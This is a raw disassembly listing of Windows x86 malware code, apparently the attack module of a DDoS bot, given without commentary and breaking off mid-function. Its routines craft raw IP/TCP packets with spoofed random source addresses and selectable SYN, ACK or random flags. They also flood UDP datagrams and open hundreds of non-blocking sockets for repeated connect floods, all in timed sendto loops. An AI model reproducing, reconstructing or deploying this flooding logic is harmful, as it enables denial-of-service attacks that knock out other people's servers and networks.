mov [ebp+var_30], eax
jnz short loc_4140D5
mov [ebp+var_28], esi
loc_4140D5: ; CODE XREF: sub_413F9C+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_4140F6
loc_4140DC: ; CODE XREF: sub_413F9C+158j
call sub_41C2C2
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_4140DC
loc_4140F6: ; CODE XREF: sub_413F9C+13Ej
; sub_413F9C+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_414155
push 0Bh
pop esi
loc_414103: ; CODE XREF: sub_413F9C+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_4CBA48 ; sendto
push [ebp+var_28]
call dword_427080 ; Sleep
dec esi
jnz short loc_414103
cmp [ebp+var_24], edi
jnz short loc_4140F6
call sub_41C2C2
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_4CB9E4 ; htons
mov [ebp+var_E], ax
jmp short loc_4140F6
; ---------------------------------------------------------------------------
loc_414155: ; CODE XREF: sub_413F9C+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_437A4C
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_414195
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409869
add esp, 14h
loc_414195: ; CODE XREF: sub_413F9C+1D7j
lea eax, [ebp+var_334]
push eax
call sub_415D38
push [ebp+var_20]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
sub_413F9C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141B2 proc near ; DATA XREF: sub_401ACD+4CC4o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_414313
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset dword_437AA0
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414232
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_414232: ; CODE XREF: sub_4141B2+5Ej
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4141B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414251 proc near ; CODE XREF: sub_414313+27p
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CB9E4 ; htons
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_41430F
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_41429C: ; CODE XREF: sub_414251+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142A4: ; CODE XREF: sub_414251+7Aj
push 0
push 1
push 2
call dword_427204 ; socket
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_4142C7
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
call dword_4271E0 ; ioctlsocket
loc_4142C7: ; CODE XREF: sub_414251+64j
add esi, 4
dec ebx
jnz short loc_4142A4
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142D5: ; CODE XREF: sub_414251+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call dword_4271F8 ; connect
add esi, 4
dec ebx
jnz short loc_4142D5
push 64h
call dword_427080 ; Sleep
lea esi, [ebp+var_654]
mov ebx, edi
loc_4142F9: ; CODE XREF: sub_414251+B4j
push dword ptr [esi]
call dword_427200 ; closesocket
add esi, 4
dec ebx
jnz short loc_4142F9
dec [ebp+arg_4]
jnz short loc_41429C
pop edi
pop esi
pop ebx
loc_41430F: ; CODE XREF: sub_414251+3Ej
xor eax, eax
leave
retn
sub_414251 endp
; =============== S U B R O U T I N E =======================================
sub_414313 proc near ; CODE XREF: sub_4141B2+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+arg_4]
mov edi, eax
call sub_41C159
push [esp+14h+arg_8]
mov ebx, eax
call sub_41C159
mov esi, eax
push esi
push ebx
push edi
call sub_414251
add esp, 18h
test eax, eax
jnz short loc_414349
push 1
pop eax
loc_414349: ; CODE XREF: sub_414313+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_414313 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414358 proc near ; DATA XREF: sub_401ACD+636Bo
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_4146A9
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset unk_437ACC
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4143D8
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_4143D8: ; CODE XREF: sub_414358+5Ej
lea eax, [ebp+var_414]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_414358 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4143F7 proc near ; CODE XREF: sub_4146A9+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB954 ; WSAStartup
test eax, eax
jz short loc_414437
xor eax, eax
jmp loc_4146A5
; ---------------------------------------------------------------------------
loc_414437: ; CODE XREF: sub_4143F7+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA88 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_41469D
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB9C4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_414693
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CB9E4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB9E4 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB9E4 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB9E4 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_42713C ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_427138 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_414522: ; CODE XREF: sub_4143F7+25Dj
; sub_4143F7+26Bj
mov [ebp+var_24], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9E4 ; htons
mov [ebp+var_34], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9E4 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9E0 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9E4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CBA48 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414667
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_427138 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_414690
jl loc_414522
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_414690
jmp loc_414522
; ---------------------------------------------------------------------------
loc_414667: ; CODE XREF: sub_4143F7+247j
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset unk_437AF4
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_414693
; ---------------------------------------------------------------------------
loc_414690: ; CODE XREF: sub_4143F7+25Bj
; sub_4143F7+269j
mov ebx, [ebp+arg_8]
loc_414693: ; CODE XREF: sub_4143F7+78j
; sub_4143F7+297j
push [ebp+var_C]
call dword_4CBA7C ; closesocket
pop esi
loc_41469D: ; CODE XREF: sub_4143F7+5Bj
call dword_4CB93C ; WSACleanup
mov eax, ebx
loc_4146A5: ; CODE XREF: sub_4143F7+3Bj
pop edi
pop ebx
leave
retn
sub_4143F7 endp
; =============== S U B R O U T I N E =======================================
sub_4146A9 proc near ; CODE XREF: sub_414358+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+arg_4]
mov esi, eax
call sub_41C159
push [esp+14h+arg_8]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4143F7
add esp, 1Ch
test eax, eax
jnz short loc_4146F4
push 1
pop eax
loc_4146F4: ; CODE XREF: sub_4146A9+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4146A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414703 proc near ; DATA XREF: sub_401ACD+6D3Do
var_394 = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
pop ecx
mov esi, eax
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+var_110]
push eax
call sub_41C159
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_4CBA24 ; inet_addr
push eax
call sub_4147A6
pop ecx
pop ecx
push eax
lea eax, [ebp+var_394]
push offset dword_437B14
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_414787
push esi
lea eax, [ebp+var_394]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_194]
call sub_409869
add esp, 14h
loc_414787: ; CODE XREF: sub_414703+62j
lea eax, [ebp+var_394]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_414703 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147A6 proc near ; CODE XREF: sub_414703+41p
var_98 = word ptr -98h
var_96 = word ptr -96h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 98h
push ebx
push esi
push edi
push 1
pop ecx
and [ebp+var_88], 0
push 4
and [ebp+var_58], 0
pop esi
mov ebx, 0FFh
push 6
xor eax, eax
pop edx
lea edi, [ebp+var_54]
mov [ebp+var_84], ecx
mov [ebp+var_80], 2
mov [ebp+var_7C], esi
mov [ebp+var_78], edx
mov [ebp+var_74], 8
mov [ebp+var_70], 0Ch
mov [ebp+var_6C], 11h
mov [ebp+var_68], 16h
mov [ebp+var_64], 29h
mov [ebp+var_60], 3Ah
mov [ebp+var_5C], ebx
mov [ebp+var_50], eax
stosd
lea edi, [ebp+var_2C]
mov [ebp+var_4C], eax
mov [ebp+var_48], eax
mov [ebp+var_44], 2000h
mov [ebp+var_40], esi
mov [ebp+var_3C], edx
mov [ebp+var_38], 3FFFh
mov [ebp+var_34], ecx
mov [ebp+var_30], eax
mov [ebp+var_28], ecx
stosd
mov edi, 100h
push edi
call sub_41D9A5
pop ecx
mov [ebp+var_4], eax
push edi
push eax
call dword_4CB9F8 ; gethostname
push [ebp+var_4]
call dword_4CBA68 ; gethostbyname
mov eax, [eax+0Ch]
push ebx
push 3
push 2
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_C], eax
call dword_4CBA64 ; socket
lea ecx, [ebp+var_28]
push esi
push ecx
push 2
push 0
push eax
mov [ebp+var_4], eax
call dword_4CB9C4 ; setsockopt
mov esi, 200h
push esi
call sub_41BEB5
mov edi, dword_4270B0
pop ecx
mov [ebp+var_8], eax
call edi ; GetTickCount
mov [ebp+var_10], eax
mov eax, [ebp+arg_0]
push 29Ah
mov [ebp+var_94], eax
mov [ebp+var_98], 2
call dword_4CB9E4 ; htons
mov [ebp+var_96], ax
loc_4148C1: ; CODE XREF: sub_4147A6+1FCj
call edi ; GetTickCount
sub eax, [ebp+var_10]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_4]
ja loc_4149A7
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
mov eax, [ebp+var_C]
and eax, 0FFFFFFh
shl edx, 18h
or edx, eax
mov [ebp+var_C], edx
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
mov [ebp+var_54], edx
call sub_41C2C2
cdq
mov ecx, 1FA4h
mov [ebp+var_24], 45h
idiv ecx
mov [ebp+var_23], 4
mov [ebp+var_2C], edx
call sub_41C2C2
mov [ebp+var_20], ax
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
mov ax, word ptr [ebp+edx*4+var_50]
push eax
call dword_4CB9E4 ; htons
push esi
mov [ebp+var_1E], ax
call dword_4CB9E4 ; htons
mov [ebp+var_22], ax
mov [ebp+var_1C], bl
call sub_41C2C2
push 0Eh
cdq
pop ecx
idiv ecx
push 14h
mov al, byte ptr [ebp+edx*4+var_88]
mov [ebp+var_1B], al
mov eax, [ebp+var_C]
mov [ebp+var_18], eax
mov eax, [ebp+arg_0]
mov [ebp+var_14], eax
lea eax, [ebp+var_24]
push eax
call sub_40AA5F
mov [ebp+var_1A], ax
lea eax, [ebp+var_24]
push 14h
push eax
push [ebp+var_8]
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_98]
push 10h
push eax
push 0
push esi
push [ebp+var_8]
push [ebp+var_4]
call dword_4CBA48 ; sendto
jmp loc_4148C1
; ---------------------------------------------------------------------------
loc_4149A7: ; CODE XREF: sub_4147A6+12Cj
push [ebp+var_8]
call sub_41BA91
pop ecx
push [ebp+var_4]
call dword_4CBA7C ; closesocket
push 1
pop eax
pop edi
pop esi
pop ebx
leave
retn
sub_4147A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4149C1 proc near ; DATA XREF: sub_401ACD+5306o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_4270B0
call edi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
push 0FFh
push 3
push 2
call dword_4CBA64 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_414A8A
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_437C2C
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414A6A
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414A6A: ; CODE XREF: sub_4149C1+84j
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_414A8A: ; CODE XREF: sub_4149C1+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_4CB9C4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_414B08
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset unk_437BF4
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_414AE8
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414AE8: ; CODE XREF: sub_4149C1+102j
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_414B08: ; CODE XREF: sub_4149C1+DFj
lea eax, [ebp+var_23C]
push eax
call dword_4CBA24 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_414B78
lea eax, [ebp+var_440]
push offset unk_437BD4
push eax
call sub_41C266
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_414B58
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_409869
add esp, 14h
loc_414B58: ; CODE XREF: sub_4149C1+172j
lea eax, [ebp+var_440]
push eax
call sub_415D38
push [ebp+var_BC]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_414B78: ; CODE XREF: sub_4149C1+157j
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_44], 2
push ebx
call dword_4CB9E4 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_4CBA24 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_414BB0: ; CODE XREF: sub_4149C1+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_414E74
push 28h
mov [ebp+var_2C], 45h
call dword_4CB9E4 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_414C23
call sub_41C2C2
mov esi, eax
shl esi, 8
call sub_41C2C2
add esi, eax
shl esi, 8
call sub_41C2C2
add esi, eax
shl esi, 8
call sub_41C2C2
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_414C39
; ---------------------------------------------------------------------------
loc_414C23: ; CODE XREF: sub_4149C1+233j
push [ebp+var_240]
call sub_40AA06
pop ecx
push eax
call dword_4CBA24 ; inet_addr
mov [ebp+var_20], eax
loc_414C39: ; CODE XREF: sub_4149C1+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_414C57
call sub_41C2C2
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_414C5D
; ---------------------------------------------------------------------------
loc_414C57: ; CODE XREF: sub_4149C1+284j
push [ebp+var_B8]
loc_414C5D: ; CODE XREF: sub_4149C1+294j
call dword_4CB9E4 ; htons
mov [ebp+var_16], ax
call sub_41C2C2
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9E4 ; htons
push 12345678h
mov [ebp+var_18], ax
call dword_4CB9E0 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+var_1BC]
push offset aSyn ; "syn"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_414CAD
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_414D09
; ---------------------------------------------------------------------------
loc_414CAD: ; CODE XREF: sub_4149C1+2E1j
lea eax, [ebp+var_1BC]
push offset aAck ; "ack"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_414CCD
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_414D09
; ---------------------------------------------------------------------------
loc_414CCD: ; CODE XREF: sub_4149C1+301j
lea eax, [ebp+var_1BC]
push offset aRandom_0 ; "random"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_414D09
call sub_41C2C2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call sub_41C2C2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_414D09: ; CODE XREF: sub_4149C1+2EAj
; sub_4149C1+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_4CB9E4 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+var_64], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_4CB9E4 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+var_64]
push 20h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_80]
push eax
call sub_41CD20
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
lea eax, [ebp+var_18]
push 14h
push eax
lea eax, [ebp+var_8C]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_78]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_44]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_4CBA48 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_414DF6
